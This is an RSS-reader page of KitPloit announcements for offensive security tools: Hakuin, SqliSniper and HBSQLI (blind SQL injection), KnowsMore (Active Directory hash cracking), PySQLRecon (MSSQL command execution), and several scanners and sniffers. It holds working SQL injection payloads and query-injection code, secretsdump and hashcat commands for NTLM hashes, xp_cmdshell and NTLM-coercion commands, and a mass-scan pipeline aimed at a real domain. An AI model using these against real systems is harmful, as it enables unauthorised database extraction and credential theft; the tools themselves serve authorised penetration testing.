FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayKitPloit - PenTest Tools!

Hakuin - A Blazing Fast Blind SQL Injection Optimization And Automation Framework

By: Zion3R


Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.

Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh, 2023 - Hack in the Box, Phuket, 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT), 2023

More information can be found in our paper and slides.


Installation

To install Hakuin, simply run:

pip3 install hakuin

Developers should install the package locally and set the -e flag for editable mode:

git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .

Examples

Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.

Example 1 - Query Parameter Injection with Status-based Inference
import aiohttp
from hakuin import Requester

class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200
Example 2 - Header Injection with Content-based Inference
class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()

To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.

Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL
import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

class StatusRequester(Requester):
...

async def main():
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

Now that eveything is set, you can start extracting DB metadata.

Example 1 - Extracting DB Schemas
# strategy:
# 'binary': Use binary search
# 'model': Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')
Example 2 - Extracting Tables
tables = await ext.extract_table_names(strategy='model')
Example 3 - Extracting Columns
columns = await ext.extract_column_names(table='users', strategy='model')
Example 4 - Extracting Tables and Columns Together
metadata = await ext.extract_meta(strategy='model')

Once you know the structure, you can extract the actual content.

Example 1 - Extracting Generic Columns
# text_strategy:    Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')
Example 2 - Extracting Textual Columns
# strategy:
# 'binary': Use binary search
# 'fivegram': Use five-gram model
# 'unigram': Use unigram model
# 'dynamic': Dynamically identify the best strategy. This setting
# also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')
Example 3 - Extracting Integer Columns
res = await ext.extract_column_int(table='users', column='id')
Example 4 - Extracting Float Columns
res = await ext.extract_column_float(table='products', column='price')
Example 5 - Extracting Blob (Binary Data) Columns
res = await ext.extract_column_blob(table='users', column='id')

More examples can be found in the tests directory.

Using Hakuin from the Command Line

Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:

python3 hk.py -h

For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.

Cite Hakuin

@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}


SQLMC - Check All Urls Of A Domain For SQL Injections

By: Zion3R


SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.

Features

  • Scans a domain for SQL injection vulnerabilities
  • Crawls the given URL up to a specified depth
  • Checks each link for SQL injection vulnerabilities
  • Reports vulnerabilities along with server information and depth

Installation

  1. Install the required dependencies: bash pip3 install sqlmc

Usage

Run sqlmc with the following command-line arguments:

  • -u, --url: The URL to scan (required)
  • -d, --depth: The depth to scan (required)
  • -o, --output: The output file to save the results

Example usage:

sqlmc -u http://example.com -d 2

Replace http://example.com with the URL you want to scan and 3 with the desired depth of the scan. You can also specify an output file using the -o or --output flag followed by the desired filename.

The tool will then perform the scan and display the results.

ToDo

  • Check for multiple GET params
  • Better injection checker trigger methods

Credits

License

This project is licensed under the GNU Affero General Public License v3.0.



mapXplore - Allow Exporting The Information Downloaded With Sqlmap To A Relational Database Like Postgres And Sqlite

By: Zion3R


mapXplore is a modular application that imports data extracted of the sqlmap to PostgreSQL or SQLite database.

Its main features are:

  • Import of information extracted from sqlmap to PostgreSQL or SQLite for subsequent querying.
  • Sanitized information, which means that at the time of import, it decodes or transforms unreadable information into readable information.
  • Search for information in all tables, such as passwords, users, and desired information.
  • Automatic export of information stored in base64, such as:

    • Word, Excel, PowerPoint files
    • .zip files
    • Text files or plain text information
    • Images
  • Filter tables and columns by criteria.

  • Filter by different types of hash functions without requiring prior conversion.
  • Export relevant information to Excel or HTML

Installation

Requirements

  • python-3.11
git clone https://github.com/daniel2005d/mapXplore
cd mapXplore
pip install -r requirements

Usage

It is a modular application, and consists of the following:

  • config: It is responsible for configuration, such as the database engine to use, import paths, among others.
  • import: It is responsible for importing and processing the information extracted from sqlmap.
  • query: It is the main module capable of filtering and extracting the required information.
    • Filter by tables
    • Filter by columns
    • Filter by one or more words
    • Filter by one or more hash functions within which are:
      • MD5
      • SHA1
      • SHA256
      • SHA3
      • ....

Beginning

Allows loading a default configuration at the start of the program

python engine.py [--config config.json]

Modules



SqliSniper - Advanced Time-based Blind SQL Injection Fuzzer For HTTP Headers

By: Zion3R


SqliSniper is a robust Python tool designed to detect time-based blind SQL injections in HTTP request headers. It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency. Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality.


Key Features

  • Time-Based Blind SQL Injection Detection: Pinpoints potential SQL injection vulnerabilities in HTTP headers.
  • Multi-Threaded Scanning: Offers faster scanning capabilities through concurrent processing.
  • Discord Notifications: Sends alerts via Discord webhook for detected vulnerabilities.
  • False Positive Checks: Implements response time analysis to differentiate between true positives and false alarms.
  • Custom Payload and Headers Support: Allows users to define custom payloads and headers for targeted scanning.

Installation

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt

Usage

This will display help for the tool. Here are all the options it supports.

ubuntu:~/sqlisniper$ ./sqlisniper.py -h


β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–„β–„ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘
β•šβ•β•β•β•β•β•β• β•šβ•β•β–€β–€β•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•β•β•β•šβ•β•β•šβ•β• β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•

-: By Muhammad Danial :-

usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PA YLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]

Detect SQL injection by sending malicious queries

options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads

Running SqliSniper

Single Url Scan

The url can be provided with -u flag for single site scan

./sqlisniper.py -u http://example.com

File Input

The -r flag allows SqliSniper to read a file containing multiple URLs for simultaneous scanning.

./sqlisniper.py -r url.txt

piping URLs

The SqliSniper can also worked with the pipeline input with -p flag

cat url.txt | ./sqlisniper.py -p

The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning.

subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p

Scanning with custom payloads

By default the SqliSniper use the payloads.txt file. However --payload flag can be used for providing custom payloads file.

./sqlisniper.py -u http://example.com --payload mssql_payloads.txt

While using the custom payloads file, ensure that you substitute the sleep time with %__TIME_OUT__%. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this.

ubuntu:~/sqlisniper$ cat payloads.txt 
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z

Scanning with Single Payloads

If you want to only test with the single payload --single-payload flag can be used. Make sure to replace the sleep time with %__TIME_OUT__%

./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"

Scanning Custom Header

Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file.

ubuntu:~/sqlisniper$ cat headers.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1

Sending Discord Alert Notifications

SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection.

./sqlisniper.py -r url.txt --discord <web_hookurl>

Multi-Threading

Threads can be defined with --threads flag

 ./sqlisniper.py -r url.txt --threads 10

Note: It is crucial to consider that employing a higher number of threads might lead to potential false positives or overlooking valid issues. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection.


SqliSniper is made inΒ  pythonΒ with lots of <3 by @Muhammad Danial.



Logsensor - A Powerful Sensor Tool To Discover Login Panels, And POST Form SQLi Scanning

By: Zion3R


A Powerful Sensor Tool to discover login panels, and POST Form SQLi Scanning

Features

  • login panel Scanning for multiple hosts
  • Proxy compatibility (http, https)
  • Login panel scanning are done in multiprocessing

so the script is super fast at scanning many urls

quick tutorial & screenshots are shown at the bottom
project contribution tips at the bottom

Β 

Installation

git clone https://github.com/Mr-Robert0/Logsensor.git
cd Logsensor && sudo chmod +x logsensor.py install.sh
pip install -r requirements.txt
./install.sh

Dependencies

Β 

Quick Tutorial

1. Multiple hosts scanning to detect login panels

  • You can increase the threads (default 30)
  • only run login detector module
python3 logsensor.py -f <subdomains-list> 
python3 logsensor.py -f <subdomains-list> -t 50
python3 logsensor.py -f <subdomains-list> --login

2. Targeted SQLi form scanning

  • can provide only specifc url of login panel with --sqli or -s flag for run only SQLi form scanning Module
  • turn on the proxy to see the requests
  • customize user input name of login panel with actual name (default "username")
python logsensor.py -u www.example.com/login --sqli 
python logsensor.py -u www.example.com/login -s --proxy http://127.0.0.1:8080
python logsensor.py -u www.example.com/login -s --inputname email

View help

Login panel Detector Module -s, --sqli run only POST Form SQLi Scanning Module with provided Login panels Urls -n , --inputname Customize actual username input for SQLi scan (e.g. 'username' or 'email') -t , --threads Number of threads (default 30) -h, --help Show this help message and exit " dir="auto">
python logsensor.py --help

usage: logsensor.py [-h --help] [--file ] [--url ] [--proxy] [--login] [--sqli] [--threads]

optional arguments:
-u , --url Target URL (e.g. http://example.com/ )
-f , --file Select a target hosts list file (e.g. list.txt )
--proxy Proxy (e.g. http://127.0.0.1:8080)
-l, --login run only Login panel Detector Module
-s, --sqli run only POST Form SQLi Scanning Module with provided Login panels Urls
-n , --inputname Customize actual username input for SQLi scan (e.g. 'username' or 'email')
-t , --threads Number of threads (default 30)
-h, --help Show this help message and exit

Screenshots


Development

TODO

  1. adding "POST form SQli (Time based) scanning" and check for delay
  2. Fuzzing on Url Paths So as not to miss any login panel


KnowsMore - A Swiss Army Knife Tool For Pentesting Microsoft Active Directory (NTLM Hashes, BloodHound, NTDS And DCSync)

By: Zion3R


KnowsMore officially supports Python 3.8+.

Main features

  • Import NTLM Hashes from .ntds output txt file (generated by CrackMapExec or secretsdump.py)
  • Import NTLM Hashes from NTDS.dit and SYSTEM
  • Import Cracked NTLM hashes from hashcat output file
  • Import BloodHound ZIP or JSON file
  • BloodHound importer (import JSON to Neo4J without BloodHound UI)
  • Analyse the quality of password (length , lower case, upper case, digit, special and latin)
  • Analyse similarity of password with company and user name
  • Search for users, passwords and hashes
  • Export all cracked credentials direct to BloodHound Neo4j Database as 'owned object'
  • Other amazing features...

Getting stats

knowsmore --stats

This command will produce several statistics about the passwords like the output bellow

weak passwords by company name similarity +-------+--------------+---------+----------------------+-------+ | top | password | score | company_similarity | qty | |-------+--------------+---------+----------------------+-------| | 1 | company123 | 7024 | 80 | 1111 | | 2 | Company123 | 5209 | 80 | 824 | | 3 | company | 3674 | 100 | 553 | | 4 | Company@10 | 2080 | 80 | 329 | | 5 | company10 | 1722 | 86 | 268 | | 6 | Company@2022 | 1242 | 71 | 202 | | 7 | Company@2024 | 1015 | 71 | 165 | | 8 | Company2022 | 978 | 75 | 157 | | 9 | Company10 | 745 | 86 | 116 | | 10 | Company21 | 707 | 86 | 110 | +-------+--------------+---------+----------------------+-------+ " dir="auto">
KnowsMore v0.1.4 by Helvio Junior
Active Directory, BloodHound, NTDS hashes and Password Cracks correlation tool
https://github.com/helviojunior/knowsmore

[+] Startup parameters
command line: knowsmore --stats
module: stats
database file: knowsmore.db

[+] start time 2023-01-11 03:59:20
[?] General Statistics
+-------+----------------+-------+
| top | description | qty |
|-------+----------------+-------|
| 1 | Total Users | 95369 |
| 2 | Unique Hashes | 74299 |
| 3 | Cracked Hashes | 23177 |
| 4 | Cracked Users | 35078 |
+-------+----------------+-------+

[?] General Top 10 passwords
+-------+-------------+-------+
| top | password | qty |
|-------+-------------+-------|
| 1 | password | 1111 |
| 2 | 123456 | 824 |
| 3 | 123456789 | 815 |
| 4 | guest | 553 |
| 5 | qwerty | 329 |
| 6 | 12345678 | 277 |
| 7 | 111111 | 268 |
| 8 | 12345 | 202 |
| 9 | secret | 170 |
| 10 | sec4us | 165 |
+-------+-------------+-------+

[?] Top 10 weak passwords by company name similarity
+-------+--------------+---------+----------------------+-------+
| top | password | score | company_similarity | qty |
|-------+--------------+---------+----------------------+-------|
| 1 | company123 | 7024 | 80 | 1111 |
| 2 | Company123 | 5209 | 80 | 824 |
| 3 | company | 3674 | 100 | 553 |
| 4 | Company@10 | 2080 | 80 | 329 |
| 5 | company10 | 1722 | 86 | 268 |
| 6 | Company@2022 | 1242 | 71 | 202 |
| 7 | Company@2024 | 1015 | 71 | 165 |
| 8 | Company2022 | 978 | 75 | 157 |
| 9 | Company10 | 745 | 86 | 116 |
| 10 | Company21 | 707 | 86 | 110 |
+-------+--------------+---------+----------------------+-------+

Installation

Simple

pip3 install --upgrade knowsmore

Note: If you face problem with dependency version Check the Virtual ENV file

Execution Flow

There is no an obligation order to import data, but to get better correlation data we suggest the following execution flow:

  1. Create database file
  2. Import BloodHound files
    1. Domains
    2. GPOs
    3. OUs
    4. Groups
    5. Computers
    6. Users
  3. Import NTDS file
  4. Import cracked hashes

Create database file

All data are stored in a SQLite Database

knowsmore --create-db

Importing BloodHound files

We can import all full BloodHound files into KnowsMore, correlate data, and sync it to Neo4J BloodHound Database. So you can use only KnowsMore to import JSON files directly into Neo4j database instead of use extremely slow BloodHound User Interface

# Bloodhound ZIP File
knowsmore --bloodhound --import-data ~/Desktop/client.zip

# Bloodhound JSON File
knowsmore --bloodhound --import-data ~/Desktop/20220912105336_users.json

Note: The KnowsMore is capable to import BloodHound ZIP File and JSON files, but we recommend to use ZIP file, because the KnowsMore will automatically order the files to better data correlation.

Sync data to Neo4j BloodHound database

# Bloodhound ZIP File
knowsmore --bloodhound --sync 10.10.10.10:7687 -d neo4j -u neo4j -p 12345678

Note: The KnowsMore implementation of bloodhount-importer was inpired from Fox-It BloodHound Import implementation. We implemented several changes to save all data in KnowsMore SQLite database and after that do an incremental sync to Neo4J database. With this strategy we have several benefits such as at least 10x faster them original BloodHound User interface.

Importing NTDS file

Option 1

Note: Import hashes and clear-text passwords directly from NTDS.dit and SYSTEM registry

knowsmore --secrets-dump -target LOCAL -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM

Option 2

Note: First use the secretsdump to extract ntds hashes with the command bellow

secretsdump.py -ntds ntds.dit -system system.reg -hashes lmhash:ntlmhash LOCAL -outputfile ~/Desktop/client_name

After that import

knowsmore --ntlm-hash --import-ntds ~/Desktop/client_name.ntds

Generating a custom wordlist

knowsmore --word-list -o "~/Desktop/Wordlist/my_custom_wordlist.txt" --batch --name company_name

Importing cracked hashes

Cracking hashes

First extract all hashes to a txt file

# Extract NTLM hashes to file
nowsmore --ntlm-hash --export-hashes "~/Desktop/ntlm_hash.txt"

# Or, extract NTLM hashes from NTDS file
cat ~/Desktop/client_name.ntds | cut -d ':' -f4 > ntlm_hashes.txt

In order to crack the hashes, I usually use hashcat with the command bellow

# Wordlist attack
hashcat -m 1000 -a 0 -O -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" "~/Desktop/Wordlist/*"

# Mask attack
hashcat -m 1000 -a 3 -O --increment --increment-min 4 -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" ?a?a?a?a?a?a?a?a

importing hashcat output file

knowsmore --ntlm-hash --company clientCompanyName --import-cracked ~/Desktop/cracked.txt

Note: Change clientCompanyName to name of your company

Wipe sensitive data

As the passwords and his hashes are extremely sensitive data, there is a module to replace the clear text passwords and respective hashes.

Note: This command will keep all generated statistics and imported user data.

knowsmore --wipe

BloodHound Mark as owned

One User

During the assessment you can find (in a several ways) users password, so you can add this to the Knowsmore database

knowsmore --user-pass --username administrator --password Sec4US@2023

# or adding the company name

knowsmore --user-pass --username administrator --password Sec4US@2023 --company sec4us

Integrate all credentials cracked to Neo4j Bloodhound database

knowsmore --bloodhound --mark-owned 10.10.10.10 -d neo4j -u neo4j -p 123456

To remote connection make sure that Neo4j database server is accepting remote connection. Change the line bellow at the config file /etc/neo4j/neo4j.conf and restart the service.

server.bolt.listen_address=0.0.0.0:7687


PySQLRecon - Offensive MSSQL Toolkit Written In Python, Based Off SQLRecon

By: Zion3R


PySQLRecon is a Python port of the awesome SQLRecon project by @sanjivkawa. See the commands section for a list of capabilities.


Install

PySQLRecon can be installed with pip3 install pysqlrecon or by cloning this repository and running pip3 install .

Commands

All of the main modules from SQLRecon have equivalent commands. Commands noted with [PRIV] require elevated privileges or sysadmin rights to run. Alternatively, commands marked with [NORM] can likely be run by normal users and do not require elevated privileges.

Support for impersonation ([I]) or execution on linked servers ([L]) are denoted at the end of the command description.

adsi                 [PRIV] Obtain ADSI creds from ADSI linked server [I,L]
agentcmd [PRIV] Execute a system command using agent jobs [I,L]
agentstatus [PRIV] Enumerate SQL agent status and jobs [I,L]
checkrpc [NORM] Enumerate RPC status of linked servers [I,L]
clr [PRIV] Load and execute .NET assembly in a stored procedure [I,L]
columns [NORM] Enumerate columns within a table [I,L]
databases [NORM] Enumerate databases on a server [I,L]
disableclr [PRIV] Disable CLR integration [I,L]
disableole [PRIV] Disable OLE automation procedures [I,L]
disablerpc [PRIV] Disable RPC and RPC Out on linked server [I]
disablexp [PRIV] Disable xp_cmdshell [I,L]
enableclr [PRIV] Enable CLR integration [I,L]
enableole [PRIV] Enable OLE automation procedures [I,L]
enablerpc [PRIV] Enable RPC and RPC Out on linked server [I]
enablexp [PRIV] Enable xp_cmdshell [I,L]
impersonate [NORM] Enumerate users that can be impersonated
info [NORM] Gather information about the SQL server
links [NORM] Enumerate linked servers [I,L]
olecmd [PRIV] Execute a system command using OLE automation procedures [I,L]
query [NORM] Execute a custom SQL query [I,L]
rows [NORM] Get the count of rows in a table [I,L]
search [NORM] Search a table for a column name [I,L]
smb [NORM] Coerce NetNTLM auth via xp_dirtree [I,L]
tables [NORM] Enu merate tables within a database [I,L]
users [NORM] Enumerate users with database access [I,L]
whoami [NORM] Gather logged in user, mapped user and roles [I,L]
xpcmd [PRIV] Execute a system command using xp_cmdshell [I,L]

Usage

PySQLRecon has global options (available to any command), with some commands introducing additional flags. All global options must be specified before the command name:

pysqlrecon [GLOBAL_OPTS] COMMAND [COMMAND_OPTS]

View global options:

pysqlrecon --help

View command specific options:

pysqlrecon [GLOBAL_OPTS] COMMAND --help

Change the database authenticated to, or used in certain PySQLRecon commands (query, tables, columns rows), with the --database flag.

Target execution of a PySQLRecon command on a linked server (instead of the SQL server being authenticated to) using the --link flag.

Impersonate a user account while running a PySQLRecon command with the --impersonate flag.

--link and --impersonate and incompatible.

Development

pysqlrecon uses Poetry to manage dependencies. Install from source and setup for development with:

git clone https://github.com/tw1sm/pysqlrecon
cd pysqlrecon
poetry install
poetry run pysqlrecon --help

Adding a Command

PySQLRecon is easily extensible - see the template and instructions in resources

TODO

  • Add SQLRecon SCCM commands
  • Add Azure SQL DB support?

References and Credits



HBSQLI - Automated Tool For Testing Header Based Blind SQL Injection

By: Zion3R


HBSQLI is an automated command-line tool for performing Header Based Blind SQL injection attacks on web applications. It automates the process of detecting Header Based Blind SQL injection vulnerabilities, making it easier for security researchers , penetration testers & bug bounty hunters to test the security of web applications.Β 


Disclaimer:

This tool is intended for authorized penetration testing and security assessment purposes only. Any unauthorized or malicious use of this tool is strictly prohibited and may result in legal action.

The authors and contributors of this tool do not take any responsibility for any damage, legal issues, or other consequences caused by the misuse of this tool. The use of this tool is solely at the user's own risk.

Users are responsible for complying with all applicable laws and regulations regarding the use of this tool, including but not limited to, obtaining all necessary permissions and consents before conducting any testing or assessment.

By using this tool, users acknowledge and accept these terms and conditions and agree to use this tool in accordance with all applicable laws and regulations.

Installation

Install HBSQLI with following steps:

$ git clone https://github.com/SAPT01/HBSQLI.git
$ cd HBSQLI
$ pip3 install -r requirements.txt

Usage/Examples

usage: hbsqli.py [-h] [-l LIST] [-u URL] -p PAYLOADS -H HEADERS [-v]

options:
-h, --help show this help message and exit
-l LIST, --list LIST To provide list of urls as an input
-u URL, --url URL To provide single url as an input
-p PAYLOADS, --payloads PAYLOADS
To provide payload file having Blind SQL Payloads with delay of 30 sec
-H HEADERS, --headers HEADERS
To provide header file having HTTP Headers which are to be injected
-v, --verbose Run on verbose mode

For Single URL:

$ python3 hbsqli.py -u "https://target.com" -p payloads.txt -H headers.txt -v

For List of URLs:

$ python3 hbsqli.py -l urls.txt -p payloads.txt -H headers.txt -v

Modes

There are basically two modes in this, verbose which will show you all the process which is happening and show your the status of each test done and non-verbose, which will just print the vulnerable ones on the screen. To initiate the verbose mode just add -v in your command

Notes

  • You can use the provided payload file or use a custom payload file, just remember that delay in each payload in the payload file should be set to 30 seconds.

  • You can use the provided headers file or even some more custom header in that file itself according to your need.

Demo



Sirius - First Truly Open-Source General Purpose Vulnerability Scanner

By: Zion3R


Sirius is the first truly open-source general purpose vulnerability scanner. Today, the information security community remains the best and most expedient source for cybersecurity intelligence. The community itself regularly outperforms commercial vendors. This is the primary advantage Sirius Scan intends to leverage.

The framework is built around four general vulnerability identification concepts: The vulnerability database, network vulnerability scanning, agent-based discovery, and custom assessor analysis. With these powers combined around an easy to use interface Sirius hopes to enable industry evolution.


Getting Started

To run Sirius clone this repository and invoke the containers with docker-compose. Note that both docker and docker-compose must be installed to do this.

git clone https://github.com/SiriusScan/Sirius.git
cd Sirius
docker-compose up

Logging in

The default username and password for Sirius is: admin/sirius

Services

The system is composed of the following services:

  • Mongo: a NoSQL database used to store data.
  • RabbitMQ: a message broker used to manage communication between services.
  • Sirius API: the API service which provides access to the data stored in Mongo.
  • Sirius Web: the web UI which allows users to view and manage their data pipelines.
  • Sirius Engine: the engine service which manages the execution of data pipelines.

Usage

To use Sirius, first start all of the services by running docker-compose up. Then, access the web UI at localhost:5173.

Remote Scanner

If you would like to setup Sirius Scan on a remote machine and access it you must modify the ./UI/config.json file to include your server details.

Good Luck! Have Fun! Happy Hacking!



ICMPWatch - ICMP Packet Sniffer

By: Zion3R


ICMP Packet Sniffer is a Python program that allows you to capture and analyze ICMP (Internet Control Message Protocol) packets on a network interface. It provides detailed information about the captured packets, including source and destination IP addresses, MAC addresses, ICMP type, payload data, and more. The program can also store the captured packets in a SQLite database and save them in a pcap format.


Features

  • Capture and analyze ICMP Echo Request and Echo Reply packets.
  • Display detailed information about each ICMP packet, including source and destination IP addresses, MAC addresses, packet size, ICMP type, and payload content.
  • Save captured packet information to a text file.
  • Store captured packet information in an SQLite database.
  • Save captured packets to a PCAP file for further analysis.
  • Support for custom packet filtering based on source and destination IP addresses.
  • Colorful console output using ANSI escape codes.
  • User-friendly command-line interface.

Requirements

  • Python 3.7+
  • scapy 2.4.5 or higher
  • colorama 0.4.4 or higher

Installation

  1. Clone this repository:
git clone https://github.com/HalilDeniz/ICMPWatch.git
  1. Install the required dependencies:
pip install -r requirements.txt

Usage

python ICMPWatch.py [-h] [-v] [-t TIMEOUT] [-f FILTER] [-o OUTPUT] [--type {0,8}] [--src-ip SRC_IP] [--dst-ip DST_IP] -i INTERFACE [-db] [-c CAPTURE]
  • -v or --verbose: Show verbose packet details.
  • -t or --timeout: Sniffing timeout in seconds (default is 300 seconds).
  • -f or --filter: BPF filter for packet sniffing (default is "icmp").
  • -o or --output: Output file to save captured packets.
  • --type: ICMP packet type to filter (0: Echo Reply, 8: Echo Request).
  • --src-ip: Source IP address to filter.
  • --dst-ip: Destination IP address to filter.
  • -i or --interface: Network interface to capture packets (required).
  • -db or --database: Store captured packets in an SQLite database.
  • -c or --capture: Capture file to save packets in pcap format.

Press Ctrl+C to stop the sniffing process.

Examples

  • Capture ICMP packets on the "eth0" interface:
python icmpwatch.py -i eth0
  • Sniff ICMP traffic on interface "eth0" and save the results to a file:
python dnssnif.py -i eth0 -o icmp_results.txt
  • Filtering by Source and Destination IP:
python icmpwatch.py -i eth0 --src-ip 192.168.1.10 --dst-ip 192.168.1.20
  • Filtering ICMP Echo Requests:
python icmpwatch.py -i eth0 --type 8
  • Saving Captured Packets
python icmpwatch.py -i eth0 -c captured_packets.pcap


msLDAPDump - LDAP Enumeration Tool

